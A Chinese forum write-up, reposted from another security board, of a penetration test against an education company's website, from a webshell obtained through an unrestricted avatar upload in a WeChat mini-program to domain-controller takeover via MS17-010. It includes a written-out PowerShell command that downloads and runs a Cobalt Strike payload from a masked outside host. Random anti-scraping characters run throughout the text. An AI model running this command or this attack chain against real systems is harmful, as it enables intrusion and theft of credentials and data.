7 K7 {! e- E7 _% Z; V 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路( C0 x% p6 U& a! P& v- C
* Z: {) H, L* Z, K/ Y' v
" I6 T5 ]6 ~' m3 o6 _9 r 正文/ @. `' F: `) N/ B# @) T0 q; B( O1 [
$ M8 I# M& N3 j; Z: M& Q2 |1 j5 s v6 E. W- k' ` o' Z
; Z2 J& n' C7 B5 {
目标:www.xxxx.com(一家教育机构)
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
进行了简单的信息搜集
# B; }5 _) O0 I5 x
7 Y& u/ l) z! B/ \" R+ c' o
! {1 w: O2 f8 ~% m1 U 子域名搜集
% @0 ]9 T; p! A- R# a6 u; Y& m6 s% L( k2 b# ~; p6 r% k
fofa找资产
. s9 x3 \. [4 ^. d! P
& W# ]- N( i: _" G* G
" T, L d- j4 r% b# `; X
9 h9 V. b' _! R, Y9 W
一共七个资产。去重之后只有两个。
' e8 t1 N1 b3 x1 V3 r7 @1 W
( Q% b. @( O1 ^ J* y6 _" e
* O- f- Z' d4 c" t& s w8 c
目录探测! J/ H* b* L5 V: r# r' ?# o3 {
! V: V. g. b: e: P2 z0 }0 `) K3 N) T) g ~! N
: } S1 h1 f! }% m: \2 z
3 @7 |0 D/ d) M- Z+ T. c! c9 }
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
7 k5 ~3 R( o h% }" ]* X; _
# b' E! n# O x" {
0 @1 F/ D. u3 F; O& u# ^ 我又尝试了通过修改返回包来绕过登录界面4 d- P- r, G% z
/ t) U! n5 W' {- m" u/ S! R
9 r8 O) n5 k0 e
9 C' Y; X# k) j7 g& N% a) t 还是不行,尝试注入无果) l3 }' ?* T- O
% n* C" W4 b& c/ t/ ?& x+ ] V2 O2 x; G
/ v1 U6 s+ w9 x. ^- n, Q
1 f8 l4 ]- Z* c' a! u
不过我目录探测出了一处Spring信息泄露
) X' ?: u2 i6 v8 [
% J- d; f5 y. h# J 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录
' ~7 g: H2 t" H2 ^* f
后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。1 _+ I' ]5 m7 ?# {6 ?+ S
+ i; p( n: c5 B {% D8 U0 X3 t( j" ~( {% A z- ~1 I5 Q) E3 J
4 P2 B$ q- ^& R4 c) F4 A
# l6 L* k! o- a5 N0 e s, w8 j. R$ N! N 获取有些师傅到这一步就手机抓包电脑测了。
; p/ ?9 F& s6 _Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。6 E9 H; t) H- q2 j
2 W2 G# w8 X0 H! M! X6 x/ z: R$ f7 M& b1 w+ A% q 其中在一个公众号发现了小程序,可以进行注册。" o: s9 ], ?' i$ J
看到了头像上传,尝试上传获取WebShell
# t3 G, F, _. i- g/ ]
# e/ |, L* d- Y0 o! j
4 E- j" G9 ~! O2 j 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问
% m0 h. ?9 b: ^, p6 g. z
1 S3 ^0 i# m6 e9 {- c 然后上了大马& ~6 H- @! M' c4 s4 ~; h
: G$ H: e: B' J+ Y
$ j2 ?( a4 m F. L 通过翻找文件发现数据库账号密码7 a0 B* H" K! {0 ^
4 u% w- c0 F7 _6 a/ E8 F8 |
/ x/ ?9 W9 v+ ^1 |9 o# Z/ R1 Z ^$ ` --内网渗透
! K7 z+ Y: _" [- M( j& i( D* f' a6 w) [6 n5 l h) F% c/ i 直接通过powershell执行 cs上线
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"& M0 {/ }. n, P9 Y8 V- W9 g
0 M. f( g+ F0 j
" w8 \1 H8 l2 t
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
! J, n! n |6 C0 R5 d' A9 ]% x/ A5 B: Q# f, B
: U. d% d9 d) f1 N# n+ S
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
* j+ W- X) }, a& e0 r
, c, @& j3 ]! C1 ^
9 N# ^: l8 n5 L9 B
; b9 i6 }2 @2 a7 l# f7 H; C
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
: b; b' I3 }+ |/ g# v3 `( O. G
z! }" O) Q) n- l R3 u
( f l/ M7 {- \) `; D& `3 C
# G8 M# v! d" Z* v7 j! B$ N" k
4 Y: x9 Y3 t' M7 ^, i
" s- g* o! d5 L7 A, Z! S) m: h
9 R6 t$ m: B% D, _
) O |, m" Z5 h" T! Y7 }) I/ a6 L ~9 `$ r* ]0 z- H8 a 小结. |+ W/ P; Z6 D& C" a9 o$ z7 P
+ F' ^! F( y; l$ o
4 x6 W+ F/ Y0 ]$ h& l& m 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!+ j" r$ c0 W; t9 v% }2 w- S8 y
' ]% E4 \! P6 ^2 K T9 c8 A8 S% L5 L9 n$ @
9 x6 P0 p; f* B: z+ V 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html0 J% _1 B0 e+ n( g5 R7 s3 K
9 w d5 N# K- i6 H) m- C5 { + Z& H3 j4 M1 I! k4 {+ P+ w% R2 q
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |